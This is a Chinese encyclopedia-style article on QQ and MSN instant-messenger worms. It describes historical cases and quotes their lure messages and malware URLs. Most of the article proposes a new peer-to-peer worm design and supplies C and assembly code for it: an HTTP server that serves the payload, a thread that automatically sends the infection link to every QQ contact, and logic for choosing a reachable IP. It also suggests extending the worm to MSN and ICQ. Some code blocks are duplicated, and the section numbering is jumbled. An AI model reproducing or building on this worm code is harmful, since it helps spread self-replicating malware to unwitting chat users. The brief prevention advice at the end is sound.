qqworm病毒

qqworm病毒是一種QQ蠕蟲。這類病毒的共性是:一旦在機器上獲得控制權,會首先查看用戶是否安裝了QQ或MSN Messager,發現後,該蠕蟲就會通過對話視窗向線上好友傳送欺騙性的信息,信息包含一個超級連線,因為在接受視窗中可以直接點擊連線,啟動IE,IE會和這個伺服器連線,下載html頁面。這個頁面中含有惡意代碼,把蠕蟲下載到本機並運行,完成了一次傳播。然後再以這台機器為基點,向本機所能發現的好友傳送同樣的欺騙性訊息,傳播迅速。

QQ蠕蟲病毒原理分析與防禦

QQ蠕蟲(qq worm virus)

背景

以QQ為代表的即時通訊軟體,在網路時代迅速而輕易地贏得了無數用戶的心,然後以更加驚人的速 度普及開去,目前,網路上使用QQ軟體的註冊人數已經超過1個億,但樹大招風,從今年病毒的發作情況來看,已經有將近100種QQ類型的病毒出現。由此可以看出,利用QQ這類即時通訊工具來進行傳播的病毒,已經逐漸成為新病毒的流行趨勢。

“愛情森林”

2002年8月25曰,瑞星全球病毒監控中心截獲了一個傳染能力極強的惡性QQ病毒——“愛情森林”(trojan.sckiss)。病毒的製作者利用QQ聊天機制,向用戶傳送“這個你去看看�很好看”的信息。如果用戶收到此信息,並點擊該連結,則會進入一個包含惡性攻擊代碼的惡意網頁,此時病毒將會被自動下載並發作。同時,病毒還會利用用戶的QQ好友名單,繼續向外擴散而且病毒會侵占系統目錄,繼續“生生不息”。“愛情森林”病毒通過QQ傳送信息之後,便開始進行本機的感染。

據悉,這種惡意網頁用JS腳本語言編寫,利用了JAVAEXPLOIT漏洞,所以不經用戶的允許,便可以悄悄自動下載“愛情森林”病毒並執行。而後此惡意網頁會修改用戶註冊表以進行破壞,並將用戶的IE標題和IE默認首頁改為:sckiss.yeah.net"target="_new">http://sckiss.yeah.net愛情森林。

“QQ偽裝專家”

另一個名叫“QQ偽裝專家”的新型惡性病毒會將真正的QQ程式改名,然後將自身偽裝成QQ程式,並在桌面上建立捷徑。用戶點擊這個捷徑後,螢幕上會出現同真QQ一樣的界面,當用戶登錄時,病毒便會將用戶的QQ號碼與密碼偷偷傳送到指定的信箱,用句QQ迷們的語言就是,“你的QQ被黑了!”;

在原理上,這個病毒和QQ毫無關係,只是利用人們對QQ 的熟悉性來欺騙用戶而已。

必須注意的是,微軟力推的一款即時通訊軟體MSN Messenger,因為它與Windows系統的完美結合,用戶群不在少數。2002年10月9曰下午,金山公司反病毒應急處理中心截獲了一例通過MSN聊天工具進行廣泛傳播的電腦病毒“GFleming”,經證實,這是世界上第一例通過微軟即時聊天工具MSN Messager進行大規模傳播的電腦病毒。“GFleming”病毒的傳播非常的迅速,一旦用戶感染該病毒,該蠕蟲會首先查看用戶是否安裝了MSN Messager並且已經登錄。若用戶已經登錄,該蠕蟲就會通過MSN Messager的對話視窗向所有聯繫人名單中的人傳送欺騙性的信息:

Hey!! Could you please check out this program for me?  I made it myself and want people to test it. Its a readme with the program that explains what it does! http://home.no.net/downl0ad/BR2002.exe <-- There you can download it! give me advices on what to upgrade please!!

收到該信息的用戶不小心點擊這個連結執行了這個蠕蟲的話,蠕蟲就會繼續通過MSN Messager向其他聯繫人傳送同樣的信息,引起連鎖反應,造成病毒的快速傳播。

‘Cool Worm‘的病毒的欺騙訊息是:"Go To http://www.masenko-media.net/cool.html NoW !!!"點擊這個連線會打開一個帶有惡意Javascript程式的網站,他會搶奪受害者的好友名單,並且先每個人傳送一個相同的邀請信息。這個信息同時也將地址傳送電子郵件到名為[email protected]的信箱中。

類似的病毒還有幾例,原理相同,這裡不再一一枚舉。

欺騙信息一般是邀請你去傳送過來的網址去看看,如“看看這個,好東西 http://www.xxx.com/cool.html"。

從傳播手段上看,病毒傳播是一種C/S模式,即每台機器都是從指定的伺服器下載,比如GFleming是,http://home.no.net;QQ密碼記錄器是http://xmc.nease.net;‘Cool Worm‘是http://www.masenko-media.net/.這種方法的局限性是,一旦網站被封閉,病毒也就壽終正寢,不攻自滅了。

基於P2P思想QQ蠕蟲的原理

為了增強蠕蟲的健壯性,這裡提出一種新思路:每感染一台機器後,都會在本機創建一個最簡單的http伺服器,然後啟動新執行緒,在新執行緒中尋找QQ的”傳送訊息“視窗,一旦找到,通過設定訊息文本框的內容並控制”傳送訊息(&S)"按鈕來達到傳送欺騙性訊息的目的。

當對方收到訊息,點擊連線後,就會啟動IE,IE和第一台機器的http伺服器通信,下載html頁面並執行其中的vbs代碼,vbs將自身拷貝到機器上並運行,蠕蟲完成一次傳播。然後在新感染的機器上創建http伺服器,再向他的好友傳送訊息。

主要代碼如下(為節約篇幅,省略不必要的初始化和錯誤判斷):

⒈ http伺服器的實現

LisenSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

saServer.sin_family = AF_INET;

saServer.sin_port = htons(5058);

saServer.sin_addr.s_addr = INADDR_ANY;

bind(LisenSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));

listen(LisenSocket,SOMAXCONN);

CreateThread(0,0,(LPTHREAD_START_ROUTINE)SendQQMsg,0,0,0);

while(TRUE)

{

peerSocket=accept(LisenSocket,(LPSOCKADDR)&SockAddr,&nLen);SendFile();

}

void SendFile()

{

BYTE buf[1024];

DWORD ByteRead;

::SetFilePointer(hFile,0,0,FILE_BEGIN);

ReadFile(hFile,buf,1024,&ByteRead,0);

while(ByteRead)

{

send(peerSocket,(const char *)buf,ByteRead,0);

ReadFile(hFile,buf,1024,&ByteRead,0);

}

closesocket(peerSocket);

}

伺服器在5058連線埠阻塞等待,不使用80,是避免防火牆對80號連線埠的敏感和限制。接受到來自遠程的連線(由ie做客戶端)後,把html檔案傳送過去,關閉連線。

⒉ 操作QQ執行緒的實現

1) 獲得本機IP位址。

2) 等待出現“傳送訊息”視窗。

3) 獲得這個視窗的QQ號,也就是這個好友的QQ號。判斷是否已經向這個號傳送過,如果是,則轉1),不是則傳送,並在註冊表中登記。

4) 獲得文本區句柄,設定新的訊息。

5) 向“傳送訊息(&S)"按鈕傳送BM_CLICK訊息,傳送這條信息。轉1)。

DWORD WINAPI SendQQMsg(LPVOID lpParameter)

{

HKEY  hKey;

char  buf[256];

HWND  hWnd,hTextWnd,hWndQQNumber,hWndButton;

char  QQRoot[]= "Software\\QQNums\\";

char  QQRootNumber[128];

int QQNumberID=0x0DF;

POINT p={50,280};

struct hostent * lpHostEnt;

char  szLocalIP[30]; //形如http://202.118.224.2:5058

gethostname(buf,256);

lpHostEnt = ::gethostbyname (buf);

struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;

::lstrcpy(szLocalIP,"http://");

::lstrcat(szLocalIP,inet_ntoa(*ia));

::lstrcat(szLocalIP,":5058");

while(TRUE)

{

::Sleep(1000);

hWnd = ::FindWindow(0,"傳送訊息");

if(hWnd==NULL)

continue;

hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);

if(hWndQQNumber==NULL)

continue;

::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);

::lstrcpy(QQRootNumber,QQRoot);

::lstrcat(QQRootNumber,buf);

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,

KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)

{

RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);

hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINⅥSIBLE);

::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);

hWndButton = FindWindowEx(hWnd,0,0,"送訊息(&S)");

::SendMessage(hButton,BM_CLICK,0,0);

}

}

return 1;

}

⒊ 傳送html頁面的實現.

因為IE識別的是html,而不能執行exe.所以,html要包含exe.然後利用html內嵌的vbs,生成並運行exe,從而達到傳播的目的。

可是,對exe編碼和解碼具有一定的難度,如何才能使代碼最簡練,最節約空間呢?這裡給出一種新思路。

5) 向“傳送訊息(&S)"按鈕傳送BM_CLICK訊息,傳送這條信息。轉1)。

DWORD WINAPI SendQQMsg(LPVOID lpParameter)

{

HKEY  hKey;

char  buf[256];

HWND  hWnd,hTextWnd,hWndQQNumber,hWndButton;

char  QQRoot[]= "Software\\QQNums\\";

char  QQRootNumber[128];

int QQNumberID=0x0DF;

POINT p={50,280};

struct hostent * lpHostEnt;

char  szLocalIP[30]; //形如http://202.118.224.2:5058

gethostname(buf,256);

lpHostEnt = ::gethostbyname (buf);

struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;

::lstrcpy(szLocalIP,"http://");

::lstrcat(szLocalIP,inet_ntoa(*ia));

::lstrcat(szLocalIP,":5058");

while(TRUE)

{

::Sleep(1000);

hWnd = ::FindWindow(0,"傳送訊息");

if(hWnd==NULL)

continue;

hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);

if(hWndQQNumber==NULL)

continue;

::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);

::lstrcpy(QQRootNumber,QQRoot);

::lstrcat(QQRootNumber,buf);

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,

KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)

{

RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);

hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINⅥSIBLE);

::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);

hWndButton = FindWindowEx(hWnd,0,0,"送訊息(&S)");

::SendMessage(hButton,BM_CLICK,0,0);

}

}

return 1;

}

⒋ 傳送html頁面的實現.

因為IE識別的是html,而不能執行exe.所以,html要包含exe.然後利用html內嵌的vbs,生成並運行exe,從而達到傳播的目的。

可是,對exe編碼和解碼具有一定的難度,如何才能使代碼最簡練,最節約空間呢?這裡給出一種新思路。

5.這樣,當機器處於區域網路時,會向好友發出http://trueip:80的訊息,對方則向trueip發出連線而不是區域網路的機器,和DRDos相似。代碼如下:

IsActiveIP  PROC  IP  : DWORD

LOCAL VSocket : DWORD

push  ecx

push  IPPROTO_TCP

push  SOCK_STREAM

push  AF_INET

call  socket

mov VSocket,eax

push  IP

pop TestIP

push  sizeof(sockaddr) ; Size of connect strucure=16

call  IAI1 ; Connect structure

dw  AF_INET  ; Family

db  0,80 ; Port number,avoid htons :)

TestIP dd  0  ; in_addr of server

db  8 dup(0) ; Unused

IAI1:

push  VSocket

call  connect  ;ret 0 if sucess

push  eax

push  VSocket

call  closesocket

pop eax

pop ecx

ret 4

IsActiveIP  ENDP

SelectTrueIP:

push 64

pop  ecx

mov  esi,offset TrueIPList

STI1:  lodsd

push eax

call IsActiveIP ;ret 0 if sucess

.if  eax  == 0

sub  esi,4

lodsd

jmp  STIExit

.else

loop STI1

.endif

xor  eax,eax

STIExit:

ret

UpdateTrueIP PROC  TrueIP : DWORD

push 64

pop  ecx

mov  esi,offset TrueIPList

UT1: lodsd

.if  eax == 0

push TrueIP

pop  [esi-4]

jmp  UTExit

.else

loop UT1

.endif

push 64

pop  ecx

mov  esi,offset TrueIPList

UT2:

lodsd

push eax

call IsActiveIP ;ret 0 if sucess

.if  eax  != 0

push TrueIP

pop  [esi-4]

jmp  UTExit

.else

loop UT1

.endif

UTExit:

mov  eax,TrueIP

ret  4

UpdateTrueIP ENDP

TrueIPList db  256 dup (0)

擴展

若把這種方法同時也套用到ICQ,MSN等IM軟體,http伺服器不變,只是查找傳送訊息視窗有所不同,但原理一樣,只需要少量修改。再有一個SendMSNMsg和SendICQMsg執行緒即可。考慮到IM軟體同時線上人數之多,再輔助以郵件等常規手段,傳播速度十分可觀。

防範措施

注意線上傳輸

:常用的通訊軟體如ICQ、QQ、MSN Message均提供了線上傳輸功能,來源不可靠的傳輸內容請拒絕接收;即便可靠,接收後也要經過防毒軟體的掃描方能運行。

小心頁面鏈

接:

如果用戶在使用聊天軟體時不小心上當,點擊了不明網頁連結,電腦就會在使用者完全不知情的情況下,從許多網站下載檔案並自動運行。所以,千萬別打開陌生人傳來的頁面連結!如果是好友送來的連線,要詢問、確認後打開。這不是誰的漏洞,就象DDos攻擊一樣,是不可避免的正常危機。

結束語

QQ和MSN受到病毒侵襲的事件再一次強調了網際網路世界真實的一面——任何流行的電腦程式最終都會成為被攻擊的目標。

今後,我們不排除會有像CIH這樣的惡性病毒通過QQ、ICQ、MSN等渠道進行廣泛傳播的可能,因此,加強對即時通訊軟體的監控和保護是當務之急。

病毒正試圖把觸角延伸到所有可能的領域。與剛剛開始的攻擊即時通訊軟體的病毒一樣,雖然手機病毒,PDA病毒等都還屬於新興“毒種”,病毒傳播、侵害模式尚且屬於萌芽狀態,但是稍許的掉以輕心,都可能會導致巨大的不可挽回的損失。防患於未然,才是反病毒的大計。

相關詞條

相關搜尋

熱門詞條

聯絡我們